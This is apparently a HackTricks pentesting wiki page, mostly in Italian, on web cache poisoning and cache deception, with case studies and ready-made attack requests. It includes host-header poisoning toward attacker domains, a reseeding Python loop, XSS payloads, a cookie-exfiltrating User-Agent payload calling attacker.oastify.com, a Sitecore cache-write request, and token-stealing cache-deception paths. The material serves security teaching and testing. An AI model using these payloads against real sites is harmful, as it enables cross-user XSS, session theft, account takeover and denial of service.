Cache Poisoning and Cache Deception
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
La differenza
Qual è la differenza tra web cache poisoning e web cache deception?
- In web cache poisoning, l’attaccante provoca che l’applicazione memorizzi del contenuto malevolo nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell’applicazione.
- In web cache deception, l’attaccante fa sì che l’applicazione memorizzi nella cache del contenuto sensibile appartenente a un altro utente, e poi l’attaccante recupera questo contenuto dalla cache.
Cache Poisoning
Cache poisoning mira a manipolare la cache lato client per costringere i client a caricare risorse inaspettate, parziali o sotto il controllo di un attaccante. L’entità dell’impatto dipende dalla popolarità della pagina interessata, poiché la risposta avvelenata viene servita esclusivamente agli utenti che visitano la pagina durante il periodo di contaminazione della cache.
L’esecuzione di un attacco di cache poisoning comporta diversi passaggi:
- Identificazione degli input non chiave: Sono parametri che, pur non essendo necessari per una richiesta venga memorizzata nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
- Sfruttamento degli input non chiave: Dopo aver identificato gli input non chiave, il passo successivo consiste nel capire come abusare di questi parametri per modificare la risposta del server in modo utile all’attaccante.
- Assicurarsi che la risposta avvelenata sia memorizzata nella cache: L’ultimo passo è assicurarsi che la risposta manipolata venga memorizzata nella cache. In questo modo, qualsiasi utente che accede alla pagina interessata mentre la cache è avvelenata riceverà la risposta compromessa.
Scoperta: Controlla gli header HTTP
Solitamente, quando una risposta è stata memorizzata nella cache ci sarà un header che lo indica, puoi controllare quali header dovresti osservare in questo post: HTTP Cache headers.
Scoperta: memorizzazione nella cache dei codici di errore
Se pensi che la risposta venga memorizzata nella cache, puoi provare a inviare richieste con un header errato, che dovrebbe ricevere una risposta con un status code 400. Poi prova ad accedere alla richiesta normalmente e se la risposta è uno status code 400, sai che è vulnerabile (e potresti anche eseguire un DoS).
Puoi trovare altre opzioni in:
Tuttavia, nota che a volte questo tipo di status code non viene memorizzato nella cache, quindi questo test potrebbe non essere affidabile.
Scoperta: Identificare e valutare gli input non chiave
Puoi usare Param Miner to brute-force parameters and headers che possono cambiare la risposta della pagina. Ad esempio, una pagina potrebbe usare l’header X-Forwarded-For per far sì che il client carichi lo script da lì:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Indurre una risposta dannosa dal server back-end
Con il parametro/header identificato verifica come viene sanitizzato e dove viene riflesso o come influisce sulla risposta dal header. Puoi abusarne comunque (effettuare una XSS o caricare del codice JS controllato da te? effettuare un DoS?…)
Mettere la risposta in cache
Una volta che hai identificato la pagina che può essere abusata, quale parametro/header usare e come abusarne, devi far sì che la pagina venga memorizzata nella cache. A seconda della risorsa che stai cercando di mettere nella cache questo può richiedere del tempo, potresti dover riprovare per diversi secondi.
L’header X-Cache nella risposta può essere molto utile poiché può avere il valore miss quando la richiesta non è stata memorizzata nella cache e il valore hit quando lo è.
L’header Cache-Control è inoltre interessante per sapere se una risorsa viene messa in cache e quando sarà la prossima volta che la risorsa sarà nuovamente memorizzata: Cache-Control: public, max-age=1800
Un altro header interessante è Vary. Questo header viene spesso usato per indicare header aggiuntivi che vengono trattati come parte della cache key anche se normalmente non sono keyati. Pertanto, se l’utente conosce il User-Agent della vittima che sta prendendo di mira, può poisonare la cache per gli utenti che usano quel preciso User-Agent.
Un altro header correlato alla cache è Age. Definisce il tempo in secondi che l’oggetto è stato nella cache del proxy.
Quando metti in cache una richiesta, fai attenzione agli header che usi perché alcuni di essi potrebbero essere usati inaspettatamente come parte della chiave della cache e la vittima dovrà usare lo stesso header. Esegui sempre un test di Cache Poisoning con browser diversi per verificare che funzioni.
Foundational cache poisoning case studies
HackerOne global redirect via X-Forwarded-Host
- The origin templated redirects and canonical URLs with
X-Forwarded-Host, but the cache key only used theHostheader, so a single response poisoned every visitor to/. - Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
- Richiedi immediatamente di nuovo
/senza lo spoofed header; se il redirect persiste hai una global host-spoofing primitive che spesso upgrades reflected redirects/Open Graph links into stored issues.
GitHub repository DoS via Content-Type + PURGE
- Il traffico anonimo veniva indicizzato solo sul path, mentre il backend entrava in uno stato di errore quando vedeva un inatteso
Content-Type. Quella risposta di errore era memorizzabile nella cache per ogni utente unauthenticated di un repo. - GitHub inoltre (accidentalmente) rispettava il verbo
PURGE, permettendo all’attacker di flushare una entry sana e forzare le cache a recuperare la variante avvelenata su richiesta:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
- Confronta sempre authenticated vs anonymous cache keys, fuzz header raramente keyed come
Content-Type, e sonda cache-maintenance verbs esposti per automatizzare il re-poisoning.
Shopify loop di persistenza cross-host
- I cache multi-livello a volte richiedono più hit identici prima di memorizzare definitivamente un nuovo oggetto. Shopify riutilizzava la stessa cache su numerosi host localizzati, quindi la persistenza significava impatto su molte proprietà.
- Usa brevi loop di automazione per reseedare ripetutamente:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
- Dopo una risposta
hit, esegui la scansione di altri host/asset che condividono lo stesso namespace della cache per dimostrare il raggio d’azione cross-domain.
JS asset redirect → stored XSS chain
- I programmi privati spesso ospitano JS condiviso come
/assets/main.jssu decine di sottodomini. SeX-Forwarded-Hostinfluenza la logica di redirect per quegli asset ma non è incluso nella chiave di cache, la risposta memorizzata diventa un 301 verso attacker JS, producendo stored XSS ovunque l’asset venga importato.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
- Mappa quali host riutilizzano lo stesso percorso degli asset in modo da poter dimostrare una compromissione multi-sottodominio.
DoS statico su GitLab tramite X-HTTP-Method-Override
- GitLab serviva bundle statici da Google Cloud Storage, che rispetta
X-HTTP-Method-Override. Sovrascrivendo GET con HEAD veniva restituito un200 OKcacheabile conContent-Length: 0, e la edge cache ignorava il metodo HTTP quando generava la chiave.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
- Una singola richiesta ha sostituito il JS bundle con un body vuoto per ogni GET, effettivamente DoSing la UI. Testa sempre gli override del metodo (
X-HTTP-Method-Override,X-Method-Override, etc.) contro gli asset statici e conferma se la cache varia in base al metodo.
HackerOne static asset loop via X-Forwarded-Scheme
- Rails’ Rack middleware si affidava a
X-Forwarded-Schemeper decidere se imporre HTTPS. Spoofandohttpsu/static/logo.pngsi innescava un 301 memorizzabile nella cache, per cui tutti gli utenti successivamente ricevevano reindirizzamenti (o loop) invece dell’asset:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
- Combina scheme spoofing con host spoofing quando possibile per creare redirect irreversibili per risorse ad alta visibilità.
Disallineamento del casing dell’host-header di Cloudflare
- Cloudflare normalizzava l’intestazione
Hostper le cache keys ma inoltrava il casing grezzo alle origins. L’invio diHost: TaRgEt.CoMattivava un comportamento alternativo nel routing/templating delle origins pur popolando comunque il bucket di cache canonico in lowercase.
GET / HTTP/1.1
Host: TaRgEt.CoM
- Enumerare i tenant CDN riproducendo mixed-case hosts (e altre normalized headers) e confrontando (diff) la cached response con la origin response per scoprire shared-platform cache poisonings.
Red Hat Open Graph meta poisoning
- L’iniezione di
X-Forwarded-Hostall’interno dei tag Open Graph ha trasformato una reflected HTML injection in una stored XSS una volta che la CDN ha cached la pagina. Usa un harmless cache buster durante i test per evitare di danneggiare gli utenti di produzione:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
- Gli scraper dei social media consumano i tag Open Graph memorizzati nella cache, quindi una singola voce avvelenata distribuisce il payload ben oltre i visitatori diretti.
Esempi di sfruttamento
Esempio più semplice
Un’intestazione come X-Forwarded-For viene riflessa nella risposta senza essere sanitizzata.
Puoi inviare un payload XSS di base e avvelenare la cache in modo che chiunque acceda alla pagina subirà un XSS:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Nota che questo avvelenerà una richiesta a /en?region=uk e non a /en
Cache poisoning to DoS
Cache poisoning through CDNs
In this writeup viene spiegato il seguente scenario semplice:
- Il CDN farà cache di qualsiasi cosa sotto
/share/ - Il CDN NON decodificherà né normalizzerà
%2F..%2F, quindi può essere usato come path traversal to access other sensitive locations that will be cached comehttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - Il web server DECODERÀ e normalizzerà
%2F..%2F, e risponderà con/api/auth/session, che contiene l’auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
I Cookies possono anche essere riflessi nella risposta di una pagina. Se riesci ad abusarne per provocare una XSS, ad esempio, potresti sfruttare l’XSS su più client che caricano la cache malevola.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Nota che se il cookie vulnerabile è molto usato dagli utenti, le richieste regolari puliranno la cache.
Generare discrepanze con delimitatori, normalizzazione e punti
Vedi:
Cache Poisoning via URL discrepancies
Cache poisoning with path traversal to steal API key
Questo writeup spiega come è stato possibile rubare un OpenAI API key con un URL come https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 perché qualsiasi cosa che corrisponde a /share/* sarà cached senza che Cloudflare normalizzasse l’URL, cosa che invece veniva fatta quando la richiesta raggiungeva il web server.
Questo è anche spiegato meglio in:
Cache Poisoning via URL discrepancies
Using multiple headers to exploit web cache poisoning vulnerabilities
A volte dovrai sfruttare diversi unkeyed inputs per poter abusare di una cache. Per esempio, potresti trovare un Open redirect se imposti X-Forwarded-Host su un dominio controllato da te e X-Forwarded-Scheme su http. Se il server sta inoltrando tutte le richieste HTTP a HTTPS e usa l’intestazione X-Forwarded-Scheme come nome di dominio per il redirect, puoi controllare la destinazione del redirect.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Sfruttare un Vary header limitato
Se scopri che l’header X-Host viene usato come nome di dominio per caricare una risorsa JS, ma l’header Vary nella risposta indica User-Agent, allora devi trovare un modo per esfiltrare il User-Agent della vittima e poison the cache usando quel user agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Invia una richiesta GET con la request sia nell’URL sia nel body. Se il web server usa quella dal body ma il cache server memorizza quella dall’URL, chiunque acceda a quell’URL userà in realtà il parametro proveniente dal body. Come la vuln che James Kettle ha trovato sul sito di Github:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
C’è un PortSwigger lab su questo: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Per esempio è possibile separare parametri nei server ruby usando il carattere ; invece di &. Questo può essere usato per inserire valori di parametri non keyizzati dentro quelli keyizzati e abusarne.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Qui puoi imparare come eseguire Cache Poisoning attacks by abusing HTTP Request Smuggling.
Automated testing for Web Cache Poisoning
Il Web Cache Vulnerability Scanner può essere usato per testare automaticamente per Web Cache Poisoning. Supporta molte tecniche diverse ed è altamente personalizzabile.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Questo pattern osservato nel mondo reale concatena una primitive di reflection basata su header con il comportamento del CDN/WAF per avvelenare in modo affidabile l’HTML in cache servito ad altri utenti:
- L’HTML principale rifletteva un header di richiesta non attendibile (es.,
User-Agent) in un contesto eseguibile. - Il CDN rimuoveva gli header di cache ma esisteva una cache interna/origin. Il CDN inoltre memorizzava automaticamente in cache le richieste che terminavano con estensioni statiche (es.,
.js), mentre il WAF applicava un’ispezione dei contenuti più debole alle GET per asset statici. - Anomalie nel flusso di richieste permettevano a una richiesta verso un percorso
.jsdi influenzare la cache key/variant usata per l’HTML principale successiva, permettendo XSS cross-user tramite reflection di header.
Ricetta pratica (osservata su un CDN/WAF popolare):
- Da un IP pulito (evitare degradazioni basate sulla reputazione), imposta un
User-Agentmalevolo tramite browser o Burp Proxy Match & Replace. - In Burp Repeater, prepara un gruppo di due richieste e usa “Send group in parallel” (il single-packet mode funziona meglio):
- Prima richiesta: GET di una risorsa
.jssullo stesso origin inviando il tuoUser-Agentmalevolo. - Immediatamente dopo: GET della pagina principale (
/).
- La corsa di routing del CDN/WAF, insieme al
.jsmemorizzato automaticamente in cache, spesso genera una variante di HTML in cache avvelenata che viene poi servita ad altri visitatori che condividono le stesse condizioni di cache key (es., stesse dimensioniVarycomeUser-Agent).
Esempio di header payload (per esfiltrare cookie non-HttpOnly):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Molti CDN nascondono le cache headers; il poisoning può apparire solo in cicli di refresh di più ore. Usa più vantage IPs e rallenta il ritmo per evitare rate-limit o trigger di reputation.
- L’utilizzo di un IP dalla stessa cloud del CDN a volte migliora la consistenza del routing.
- Se è presente una CSP restrittiva, questo funziona comunque se la reflection viene eseguita nel contesto HTML principale e la CSP permette l’esecuzione inline o viene bypassata dal contesto.
Impact:
- Se i cookie di sessione non sono
HttpOnly, è possibile un zero-click ATO esfiltrando in massadocument.cookieda tutti gli utenti a cui viene servito l’HTML poisoned.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Questo scrive HTML arbitrario sotto una cache key scelta dall’attaccante, consentendo un avvelenamento preciso una volta che le cache keys sono note.
Per i dettagli completi (cache key construction, ItemService enumeration e una chained post-auth deserialization RCE):
Esempi Vulnerabili
Apache Traffic Server (CVE-2021-27577)
ATS inoltrava il frammento presente nell’URL senza rimuoverlo e generava la cache key usando solo host, path e query (ignorando il frammento). Quindi la richiesta /#/../?r=javascript:alert(1) veniva inviata al backend come /#/../?r=javascript:alert(1) e la cache key non conteneva il payload, solo host, path e query.
403 e Storage Buckets
Cloudflare precedentemente memorizzava nella cache le risposte 403. Tentare di accedere a S3 o Azure Storage Blobs con header Authorization errati avrebbe portato a una 403 che veniva memorizzata nella cache. Sebbene Cloudflare abbia smesso di memorizzare le 403, questo comportamento potrebbe ancora essere presente in altri servizi proxy.
Iniezione di parametri keyed
Le cache spesso includono parametri GET specifici nella cache key. Per esempio, Varnish di Fastly memorizzava nella cache il parametro size nelle richieste. Tuttavia, se veniva inviata anche una versione URL-encoded del parametro (es., siz%65) con un valore errato, la cache key sarebbe stata costruita usando il corretto parametro size. Eppure, il backend avrebbe processato il valore nel parametro URL-encoded. URL-encoding del secondo parametro size portava alla sua omissione dalla cache ma al suo utilizzo da parte del backend. Assegnare a questo parametro il valore 0 risultava in un errore 400 Bad Request memorizzabile in cache.
Regole User Agent
Alcuni sviluppatori bloccano le richieste con user-agents che corrispondono a strumenti ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironia della sorte, questo approccio può introdurre vulnerabilità come cache poisoning e DoS.
Header con caratteri illegali
L’RFC7230 specifica i caratteri accettabili nei nomi degli header. Gli header contenenti caratteri al di fuori dell’intervallo tchar dovrebbero idealmente causare una 400 Bad Request. In pratica, i server non sempre seguono questo standard. Un esempio notevole è Akamai, che inoltra header con caratteri non validi e memorizza nella cache qualsiasi errore 400, purché l’header cache-control non sia presente. È stato identificato un pattern sfruttabile in cui inviare un header con un carattere illegale, come \, avrebbe prodotto una 400 Bad Request memorizzabile in cache.
Trovare nuovi header
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Lo scopo di Cache Deception è far sì che i client carichino risorse che verranno salvate nella cache con le loro informazioni sensibili.
Prima di tutto nota che le extensions come .css, .js, .png ecc. sono solitamente configurate per essere salvate nella cache. Di conseguenza, se accedi a www.example.com/profile.php/nonexistent.js la cache probabilmente memorizzerà la risposta perché riconosce l’extension .js. Però, se l’application risponde con i contenuti utente sensitive presenti in www.example.com/profile.php, puoi rubare quei contenuti da altri utenti.
Altre cose da testare:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Un altro esempio molto chiaro si trova in questo write-up: https://hackerone.com/reports/593712.
Nell’esempio viene spiegato che se carichi una pagina non esistente come http://www.example.com/home.php/non-existent.css il contenuto di http://www.example.com/home.php (con le informazioni sensibili dell’utente) verrà restituito e il server di cache salverà il risultato.
Poi, l’attacker può accedere a http://www.example.com/home.php/non-existent.css nel proprio browser e osservare le informazioni riservate degli utenti che vi hanno precedentemente acceduto.
Nota che il cache proxy dovrebbe essere configurato per memorizzare in cache i file in base all’extension del file (.css) e non in base al content-type. Nell’esempio http://www.example.com/home.php/non-existent.css avrà un content-type text/html invece di un mime type text/css.
Scopri qui come eseguire Cache Deceptions attacks abusing HTTP Request Smuggling.
CSPT-assisted authenticated cache poisoning (Account Takeover)
Questo pattern combina una primitive Client-Side Path Traversal (CSPT) in una Single-Page App (SPA) con la cache basata su extension del CDN per memorizzare pubblicamente JSON sensibili che erano originariamente disponibili solo tramite una chiamata API autenticata.
Idea generale:
- Un endpoint API sensibile richiede un auth header custom ed è correttamente marcato come non-cacheable dall’origin.
- Aggiungere un suffisso dall’aspetto statico (per esempio, .css) fa sì che il CDN tratti il path come una risorsa statica e memorizzi la risposta nella cache, spesso senza variare in base a header sensibili.
- La SPA contiene CSPT: concatena un segmento di path controllato dall’utente nell’URL dell’API allegando l’auth header della vittima (per esempio, X-Auth-Token). Iniettando la traversal ../.., il fetch autenticato viene reindirizzato alla variante del path cacheable (…/v1/token.css), causando che il CDN memorizzi nella cache il JSON del token della vittima sotto una chiave pubblica.
- Chiunque può quindi fare un GET sulla stessa cache key senza autenticazione e recuperare il token della vittima.
Esempio
- Endpoint sensibile (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- Suffisso dall’aspetto statico rende la risorsa su CDN memorizzabile nella cache:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- CSPT in SPA aggiunge auth header e permette traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');
const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
- Catena di exploit:
- Indurre la vittima a visitare un URL che inietta dot-segments nel parametro path della SPA, e.g.:
- La SPA effettua un fetch autenticato verso:
- La normalizzazione del browser lo risolve in:
- Il CDN considera .css un asset statico e memorizza in cache il JSON con Cache-Control: public, max-age=…
- Recupero pubblico: chiunque può poi fare GET https://api.example.com/v1/token.css e ottenere il token JSON memorizzato nella cache.
Prerequisiti
- La SPA esegue fetch/XHR autenticati verso la stessa origin API (o cross-origin con CORS funzionante) e allega header sensibili o bearer token.
- L’Edge/CDN applica caching basato sull’estensione per percorsi che sembrano statici (es., *.css, *.js, immagini) e non varia la cache key in base all’header sensibile.
- L’origin per l’endpoint base è non-cacheable (corretto), ma la variante con estensione è permessa o non bloccata dalle regole dell’edge.
Checklist di validazione
- Identificare endpoint dinamici sensibili e provare suffissi come .css, .js, .jpg, .json. Cercare Cache-Control: public/max-age e X-Cache: Hit (o equivalente, e.g., CF-Cache-Status) mentre il contenuto rimane JSON.
- Individuare codice client che concatena input controllati dall’utente nei percorsi API mentre allega header di auth. Iniettare sequenze ../ per reindirizzare la richiesta autenticata verso l’endpoint target.
- Confermare che l’header autenticato sia presente sulla richiesta reindirizzata (e.g., in un proxy o via server-side logs) e che il CDN memorizzi la risposta nella cache sotto il percorso attraversato.
- Da un contesto pulito (no auth), richiedere lo stesso percorso e confermare che il JSON segreto venga servito dalla cache.
Strumenti automatici
- toxicache: Scanner in Golang to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
- CacheDecepHound: Scanner Python designed to detect Cache Deception vulnerabilities in web servers.
Riferimenti
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
- Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
- CSPT overview by Matan Berson
- CSPT presentation by Maxence Schmitt
- PortSwigger: Web Cache Deception
- Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


